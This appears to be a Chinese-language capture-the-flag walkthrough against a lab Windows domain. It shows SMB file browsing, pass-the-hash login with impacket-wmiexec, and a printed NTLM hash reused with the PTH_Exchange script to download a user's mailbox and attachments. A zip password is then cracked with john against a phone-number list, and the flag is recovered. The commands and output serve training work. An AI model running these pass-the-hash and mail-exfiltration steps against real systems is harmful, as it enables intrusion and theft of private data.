# ls
drw-rw-rw-          0  Sun Oct 23 20:23:05 2022 $Recycle.Bin
drw-rw-rw-          0  Tue Aug 16 01:20:10 2022 Boot
-rw-rw-rw-     437524  Tue Aug 16 01:20:10 2022 bootmgr
-rw-rw-rw-          1  Tue Aug 16 01:20:10 2022 BOOTNXT
drw-rw-rw-          0  Sun Oct 23 14:32:59 2022 Documents and Settings
-rw-rw-rw-      12288  Sun Jun  7 15:05:20 2026 DumpStack.log.tmp
-rw-rw-rw- 1476395008  Sun Jun  7 15:05:20 2026 pagefile.sys
drw-rw-rw-          0  Tue Aug 16 01:20:07 2022 PerfLogs
drw-rw-rw-          0  Sun Oct 23 14:38:29 2022 Program Files
drw-rw-rw-          0  Mon Aug 15 17:23:30 2022 Program Files (x86)
drw-rw-rw-          0  Sun Oct 23 22:06:43 2022 ProgramData
drw-rw-rw-          0  Sun Oct 23 14:33:26 2022 Recovery
drw-rw-rw-          0  Mon Aug 15 09:21:00 2022 System Volume Information
drw-rw-rw-          0  Sun Oct 23 20:22:41 2022 Users
drw-rw-rw-          0  Sun Jun  7 18:58:13 2026 Windows
# cd Users
# ls
drw-rw-rw-          0  Sun Oct 23 20:22:41 2022 .
drw-rw-rw-          0  Mon Aug 15 17:21:31 2022 ..
drw-rw-rw-          0  Sun Jun  7 15:05:42 2026 Administrator
drw-rw-rw-          0  Sun Oct 23 14:32:59 2022 All Users
drw-rw-rw-          0  Sun Oct 23 14:33:41 2022 Default
drw-rw-rw-          0  Sun Oct 23 14:32:59 2022 Default User
-rw-rw-rw-        174  Tue Aug 16 01:18:42 2022 desktop.ini
drw-rw-rw-          0  Sun Oct 23 20:22:44 2022 Lumia
drw-rw-rw-          0  Mon Aug 15 17:22:10 2022 Public
# cd Lumia
# ls
drw-rw-rw-          0  Sun Oct 23 20:22:44 2022 .
drw-rw-rw-          0  Sun Oct 23 20:22:41 2022 ..
drw-rw-rw-          0  Sun Oct 23 20:22:55 2022 3D Objects
drw-rw-rw-          0  Sun Oct 23 20:22:44 2022 AppData
drw-rw-rw-          0  Sun Oct 23 20:22:44 2022 Application Data
drw-rw-rw-          0  Sun Oct 23 20:22:55 2022 Contacts
drw-rw-rw-          0  Sun Oct 23 20:22:44 2022 Cookies
drw-rw-rw-          0  Sun Oct 23 21:40:24 2022 Desktop
drw-rw-rw-          0  Sun Oct 23 21:57:02 2022 Documents
drw-rw-rw-          0  Sun Oct 23 21:33:53 2022 Downloads
drw-rw-rw-          0  Sun Oct 23 20:23:04 2022 Favorites
drw-rw-rw-          0  Sun Oct 23 20:22:55 2022 Links
drw-rw-rw-          0  Sun Oct 23 20:22:44 2022 Local Settings
drw-rw-rw-          0  Sun Oct 23 20:22:55 2022 Music
drw-rw-rw-          0  Sun Oct 23 20:22:44 2022 My Documents
drw-rw-rw-          0  Sun Oct 23 20:22:44 2022 NetHood
-rw-rw-rw-     786432  Sun Oct 23 20:22:41 2022 NTUSER.DAT
-rw-rw-rw-     221184  Sun Oct 23 20:22:44 2022 ntuser.dat.LOG1
-rw-rw-rw-     180224  Sun Oct 23 20:22:44 2022 ntuser.dat.LOG2
-rw-rw-rw-      65536  Sun Oct 23 22:24:44 2022 NTUSER.DAT{7761d68a-1c38-11ed-9ebe-98db4bb54c9c}.TM.blf
-rw-rw-rw-     524288  Sun Oct 23 20:22:44 2022 NTUSER.DAT{7761d68a-1c38-11ed-9ebe-98db4bb54c9c}.TMContainer00000000000000000001.regtrans-ms
-rw-rw-rw-     524288  Sun Oct 23 20:22:44 2022 NTUSER.DAT{7761d68a-1c38-11ed-9ebe-98db4bb54c9c}.TMContainer00000000000000000002.regtrans-ms
-rw-rw-rw-         20  Sun Oct 23 20:22:44 2022 ntuser.ini
drw-rw-rw-          0  Sun Oct 23 20:22:55 2022 Pictures
drw-rw-rw-          0  Sun Oct 23 20:22:44 2022 PrintHood
drw-rw-rw-          0  Sun Oct 23 20:22:44 2022 Recent
drw-rw-rw-          0  Sun Oct 23 20:22:55 2022 Saved Games
drw-rw-rw-          0  Sun Oct 23 20:22:55 2022 Searches
drw-rw-rw-          0  Sun Oct 23 20:22:44 2022 SendTo
drw-rw-rw-          0  Sun Oct 23 20:22:44 2022 Templates
drw-rw-rw-          0  Sun Oct 23 20:22:55 2022 Videos
drw-rw-rw-          0  Sun Oct 23 20:22:44 2022 「开始」菜单
# cd Desktop
# ls
drw-rw-rw-          0  Sun Oct 23 21:40:24 2022 .
drw-rw-rw-          0  Sun Oct 23 20:22:44 2022 ..
-rw-rw-rw-        282  Sun Oct 23 20:22:55 2022 desktop.ini
-rw-rw-rw-     668436  Sun Oct 23 21:40:16 2022 secret.zip
# get secret.zip

拿到一个secret.zip文件

└─$ proxychains4 -q impacket-wmiexec -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang.lab/administrator@172.22.3.26
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
xiaorang\administrator

压缩包带密码

使用pthexchange这个脚本，导出Lumia这个用户的mailbox里面的全部邮件以及附件，我们之前在同步hash时，是有lumia的hash的

xiaorang.lab\Lumia:1146:aad3b435b51404eeaad3b435b51404ee:862976f8b23c13529c2fb1428e710296:::

PTH_Exchange

https://github.com/Jumbo-WJB/PTH_Exchange

└─$ proxychains4 -q python3 pthexchange.py --target https://172.22.3.9/ --username Lumi	a --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' --action Download
2026-06-07 19:04:26,635 - DEBUG - [Stage 777] Get Mails Stage 1 Finditem ing... 
2026-06-07 19:04:28,041 - DEBUG - [Stage 777] Get Mails Stage 2 GetItem ing... 
2026-06-07 19:04:29,323 - DEBUG - [Stage 777] Get Mails Stage 3 Downloaditem ing... 
[+] Item [output/item-0.eml] saved successfully
2026-06-07 19:04:29,328 - DEBUG - [Stage 555] Ready Download Attachmenting... 
2026-06-07 19:04:29,443 - DEBUG - [Stage 555] Determine if there are attachments in the email... 
2026-06-07 19:04:29,443 - DEBUG - [Stage 555] This Mail Has Attachment... 
2026-06-07 19:04:29,443 - DEBUG - [Stage 555] Start Get Attachment Content... 
2026-06-07 19:04:30,725 - DEBUG - [Stage 555] Start Download Attachment... 
[+] Item [output/item-0-secret.zip] saved successfully
2026-06-07 19:04:30,729 - DEBUG - [Stage 777] Get Mails Stage 2 GetItem ing... 
2026-06-07 19:04:30,933 - DEBUG - [Stage 777] Get Mails Stage 3 Downloaditem ing... 
[+] Item [output/item-1.eml] saved successfully
2026-06-07 19:04:30,934 - DEBUG - [Stage 555] Ready Download Attachmenting... 
2026-06-07 19:04:31,034 - DEBUG - [Stage 555] Determine if there are attachments in the email... 
2026-06-07 19:04:31,034 - DEBUG - [Stage 555] This Mail Has Attachment... 
2026-06-07 19:04:31,034 - DEBUG - [Stage 555] Start Get Attachment Content... 
2026-06-07 19:04:31,133 - DEBUG - [Stage 555] Start Download Attachment... 
[+] Item [output/item-1-phone lists.csv] saved successfully

邮件提示压缩包是用电话号码加密的

下载另一个邮件的csv附件

提取手机号对 zip 爆破

zip2john secret.zip >zip.txt  #从加密的 ZIP 文件中提取密码哈希格式，输出到 zip.txt 文件。
john --wordlist=111.txt zip.txt #以111.txt 中的每一行作为候选密码，尝试破解 zip.txt 中的哈希。

压缩包 secret.zip 的密码是：

18763918468

flag{cf0c753c-233f-4729-8984-0746ea5878b7}